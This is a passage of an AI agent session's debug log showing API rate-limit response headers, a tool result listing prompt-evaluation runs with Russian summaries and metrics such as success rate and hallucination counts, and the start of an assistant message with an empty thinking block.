\"1790679600\",\n[2026-09-29T07:45:22.962Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:22.970Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:22.976Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:22.980Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:22.984Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:22.987Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:22.990Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:22.995Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:23.000Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:23.008Z] [STDOUT]   \"request-id\": \"req_011CfXMkYBFWsFY2tPQz5TDv\",\n[2026-09-29T07:45:23.016Z] [STDOUT]   \"traceresponse\": \"00-4e9b21bd84d4444310d5836adf1a320c-f39a15d09f83bf0b-01\",\n[2026-09-29T07:45:23.021Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:23.025Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:23.033Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:23.037Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:23.039Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:23.043Z] [STDOUT]   \"cf-ray\": \"a4295e2f490229ad-FRA\",\n[2026-09-29T07:45:23.046Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:23.051Z] [STDOUT] [log_f718da] response parsed {\n[2026-09-29T07:45:23.055Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:23.062Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:23.064Z] [STDOUT]   body: X {\n[2026-09-29T07:45:23.068Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:23.073Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:23.076Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:23.080Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:23.084Z] [STDOUT]     },\n[2026-09-29T07:45:23.087Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:23.090Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:23.094Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:23.098Z] [STDOUT]   },\n[2026-09-29T07:45:23.100Z] [STDOUT]   durationMs: 789,\n[2026-09-29T07:45:23.102Z] [STDOUT] }\n[2026-09-29T07:45:24.091Z] [INFO] {\n[2026-09-29T07:45:24.091Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:24.091Z] [INFO]   \"message\": {\n[2026-09-29T07:45:24.091Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:24.091Z] [INFO]     \"content\": [\n[2026-09-29T07:45:24.091Z] [INFO]       {\n[2026-09-29T07:45:24.091Z] [INFO]         \"tool_use_id\": \"toolu_013tKYaeRX6hUPMu1TBTFS4T\",\n[2026-09-29T07:45:24.091Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:24.091Z] [INFO]         \"content\": \"RUN-0001 \\nRUN-0002 \\nRUN-0003 \\nRUN-0004 \\nRUN-0005 \\nRUN-0006 \\nRUN-0007 \\nRUN-0008 \\nRUN-0009 \\nRUN-0010 \\nRUN-0011 \\nRUN-0012 \\nRUN-0013 \\nRUN-0014 success_rate=0.25\\nRUN-0015 eval=\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 (human gate, \u00ab\u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f; verdict=works-with-edits; quality=3; success_rate=0.8; hallucinations=2; hallucinations_shipped=0; ba_edits=6; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; duration_active_s=None; episodes=10; turns=20\\nRUN-0016 eval=\u0414\u0438\u0430\u043b\u043e\u0433 \u0443\u0434\u0435\u0440\u0436\u0430\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0434\u043e\u0448\u0451\u043b; verdict=works-with-edits; quality=3; success_rate=0.89; hallucinations=4; hallucinations_shipped=3; ba_edits=7; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; duration_active_s=4252; episodes=19; turns=38\\nRUN-0017 episodes=11; turns=56\\nRUN-0018 eval=\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442; verdict=works-with-edits; quality=3; success_rate=0.63; hallucinations=8; hallucinations_shipped=1; ba_edits=6; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=2481; episodes=8\\nRUN-0019 verdict=works-with-edits; quality=3; success_rate=0.29; ba_edits=10; episodes=7; sessions=5\\nRUN-0020 episodes=14; turns=78\\nRUN-0021 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0441\u0432\u044f\u0437\u043a\u0430 \u0434\u0432\u0443\u0445 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b; verdict=works-with-edits; quality=3; success_rate=0.71; hallucinations=6; hallucinations_shipped=2; ba_edits=11; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=11554; episodes=38\\nRUN-0022 eval=\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 (\u043f\u043e\u0448\u0430\u0433\u043e\u0432\u043e\u0441\u0442\u044c, human gat; verdict=works-with-edits; quality=3; success_rate=0.92; hallucinations=2; hallucinations_shipped=1; ba_edits=6; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; duration_active_s=4636; episodes=13; turns=26\\nRUN-0023 episodes=3; turns=6\\nRUN-0024 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u0430\u043d\u0430\u043b\u0438\u0437 \u0437\u0430\u044f\u0432; verdict=works-with-edits; success_rate=0.75; hallucinations=3; hallucinations_shipped=1; tokens_input=[REDACTED]; tokens_output=[REDACTED]; episodes=4; turns=8\\nRUN-0025 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u043e\u0448; verdict=works-with-edits; quality=3; success_rate=0.5; hallucinations=4; hallucinations_shipped=1; ba_edits=2; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=2515; episodes=10\\nRUN-0026 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u0440\u0430\u043c\u043a\u0430 -> \u043a\u043e; verdict=works-with-edits; success_rate=0.5; hallucinations=4; hallucinations_shipped=1; tokens_input=[REDACTED]; tokens_output=[REDACTED]; duration_active_s=3254; episodes=10; turns=20\\nRUN-0027 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0432\u0435\u0431-\u0438\u043d; verdict=works-with-edits; quality=3; success_rate=0.4; hallucinations=3; hallucinations_shipped=1; ba_edits=1; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=2762; episodes=5\\nRUN-0028 eval=\u041f\u0440\u043e\u043c\u043f\u0442 \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u043d\u0430\u0445; verdict=works-with-edits; quality=2; success_rate=0.33; hallucinations=2; hallucinations_shipped=1; ba_edits=0; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=347; episodes=3\\nRUN-0029 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u0430\u044f (\u0431\u0435\u0441\u043f\u0440\u043e\u043c\u043f\u0442; verdict=works-with-edits; quality=3; success_rate=0.56; hallucinations=3; hallucinations_shipped=0; ba_edits=4; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=1738; episodes=9\\nRUN-0030 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=5700; episodes=23; turns=46; sessions=5; calendar_days=7.7\\nRUN-0031 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=28980; episodes=78; turns=156; sessions=21; calendar_days=48.1\\nRUN-0032 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=12240; episodes=31; turns=62; sessions=4; calendar_days=29.9\\nRUN-0033 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=17400; episodes=49; turns=98; sessions=5; calendar_days=18.8\\nRUN-0034 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=20520; episodes=71; turns=142; sessions=13; calendar_days=5.1\\nRUN-0035 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=0; episodes=1; turns=2; sessions=1; calendar_days=0.0\\nRUN-0036 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=6840; episodes=21; turns=42; sessions=2; calendar_days=0.2\\nRUN-0037 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=720; episodes=10; turns=20; sessions=7; calendar_days=35.1\\nRUN-0038 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=5580; episodes=15; turns=30; sessions=3; calendar_days=0.2\\nRUN-0039 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=3060; episodes=12; turns=24; sessions=3; calendar_days=5.8\\nRUN-0040 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=24720; episodes=83; turns=166; sessions=7; calendar_days=7.8\\nRUN-0041 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=27540; episodes=73; turns=146; sessions=16; calendar_days=26.2\\nRUN-0042 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=4380; episodes=24; turns=48; sessions=5; calendar_days=8.7\\nRUN-0043 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=3540; episodes=19; turns=38; sessions=4; calendar_days=7.0\\nRUN-0044 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=3360; episodes=8; turns=16; sessions=1; calendar_days=0.0\\nRUN-0045 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=4500; episodes=27; turns=54; sessions=4; calendar_days=18.0\\nRUN-0046 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=23640; episodes=77; turns=154; sessions=16; calendar_days=28.2\\nRUN-0047 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=720; episodes=5; turns=10; sessions=1; calendar_days=0.0\\nRUN-0048 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=8280; episodes=30; turns=60; sessions=3; calendar_days=6.0\\nRUN-0049 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=8100; episodes=39; turns=78; sessions=9; calendar_days=14.2\\nRUN-0050 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=10320; episodes=49; turns=98; sessions=8; calendar_days=16.2\\nRUN-0051 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=18540; episodes=57; turns=114; sessions=11; calendar_days=50.1\\nRUN-0052 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=2100; episodes=10; turns=20; sessions=5; calendar_days=1.1\\nRUN-0053 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=24720; episodes=79; turns=158; sessions=14; calendar_days=14.8\\nRUN-0054 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=1620; episodes=9; turns=18; sessions=1; calendar_days=0.0\\nRUN-0055 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 ; verdict=works-with-edits; success_rate=0.8; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=7020; episodes=16; turns=32; sessions=4; calendar_days=0.4\\nRUN-0056 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e gap-\u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438; verdict=works-with-edits; success_rate=0.7; duration_active_s=10800\\nRUN-0057 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 ; verdict=works-with-edits; success_rate=0.63; duration_active_s=14400\\nRUN-0058 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 API \u0447\u0430\u0442\u043e\u0432 ; verdict=works-with-edits; success_rate=1.0; duration_active_s=9000\\nRUN-0059 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0443\u0442\u044c HH.; verdict=works-with-edits; success_rate=1.0; duration_active_s=10800\\nRUN-0060 eval=\u0424\u043e\u0440\u043c\u0430\u0442 L4 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u043d\u0430 \u043b\u0435\u0442\u0443 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d; verdict=works; success_rate=1.0; duration_active_s=14400\\nRUN-0061 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d 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\"claude-opus-5-5\",\n[2026-09-29T07:45:24.439Z] [INFO]     \"id\": \"msg_011CfXMkYcYpLGdccVEn28v7\",\n[2026-09-29T07:45:24.439Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:24.439Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:24.439Z] [INFO]     \"content\": [\n[2026-09-29T07:45:24.439Z] [INFO]       {\n[2026-09-29T07:45:24.439Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:24.439Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:24.439Z] [INFO]         \"signature\": \"CAQSzgcKEAgSGAI4AUIIdGhpbmtpbmcSDKtSKsXlJ87PrfAGqRoMTDSRP/MZNSEz4odcIjAvyRD9b4/CGxL1CjMnTxF3KzJ0YePxweIORg1I5vGSvguUFSu9Jl+r09qbIdTlyp0q6wY7XPL3mlsPV7sKt5Di6siUw7D76YOJcbrPssmT6DyqwpU/eYDl4n5gO8Yg2PmMVu98uX1EbhpZL4fnefUGV+/Fgtsb6vYJ306afZxdcf145FaWJ2jF52gUEHludGtxUlt90gMAwgTuF6uDITE++T4U99dLfhiGOV0xOrX/rr3jjbcxCyzVKe4NDMcehKyNKW1EdHrJ9W8lmT851oxORoSJkdUT/2srXs4KltTxy9uhctN0k7vfo1HzG8VgemBZtmKzqtXh+cI4WxtX/RaPHLEFuMOgZCDvnknMB9kdBvCDF+275NTo85WBaCdw5IAW5iI8IGKhMgdJDxBYYJtLqRJWLlYfMq2bW41O1Nu0dzaDf3Y7GVaIZdrph7lG8+i1MCuNJ8725cirnGThUbeboFmgrA5B6QVmEKmjlWj1jNZ1GFrID3rEb4wkPe9ig9wa730wBxks7EEjZwdo8NMDg97obGjS38VQyIhw0IsQZa0vfVAH4iZiHmDl2BDOpdERl4ZjhEO30U1F44eyB5h/K8Waf3LQZCtl90H8qORMa2RLij87iy0aokgI0qBXGTwFZF8j/GJzE+QNynOsCl+pSTOuwDrvICAwrAhsRytCx0pnEu3Vsgj0Y1nPRL9wb7Exfm3mr83sem+D2OwTIqVq0q1xYzWFGYks5//p7WsZfjdE1B604OWmQP0s/IPwKxtUI483gtrvvykGwgfbMakbRPovM+CGm/UAyDuaLIzzhwzUYKNpL5QjiCzsWfwzjXAPtX6IEiKr7uk20OjNoqyqX1bOnv2tL2EC8zs4cBhFUE5+bUeuHL5SVLhxQSq/i0HtOa2o54nLxuG/8jF+t8T0zAenDmR7Dfr8qXfuA/ymyCrAp6xQP1r/Lt8MxgWwNCrhbUj3758XNZTEKdjA0NlFn0IZ5pjhnbjwxhAScwYMtm7YDkVADKjCqL24Mb0qOYzTKFe5fWrwh5bf8LGSQ52j5/O6Lf0BZP8Ov+rES4sDyHg6hSbFBJEydiuoMCOF7bMLbkl7rYx3fwmGZC31VYCjWkgPFBA2/ZxVbDfzPd3Kg9JUChb6gm6KSJTiJO3eTlKdmSl/zv7ioOt78WfpHY4cMouELGGJsnu1OTsooj7wyXg6OKTboqZZXDIEUVbjohxFj0WLwhBCYsCe30z+fBgB\"\n[2026-09-29T07:45:24.439Z] [INFO]       }\n[2026-09-29T07:45:24.439Z] [INFO]     ],\n[2026-09-29T07:45:24.439Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:24.439Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:24.439Z] [INFO]       \"cache_creation_input_tokens\": 944,\n[2026-09-29T07:45:24.439Z] [INFO]       \"cache_read_input_tokens\": 47343,\n[2026-09-29T07:45:24.439Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:24.439Z] [INFO]         \"ephemeral_5m_input_tokens\": 944,\n[2026-09-29T07:45:24.439Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:24.439Z] [INFO]       },\n[2026-09-29T07:45:24.439Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:24.439Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:24.439Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:24.439Z] [INFO]     },\n[2026-09-29T07:45:24.439Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:24.439Z] [INFO]     \"diagnostics\": 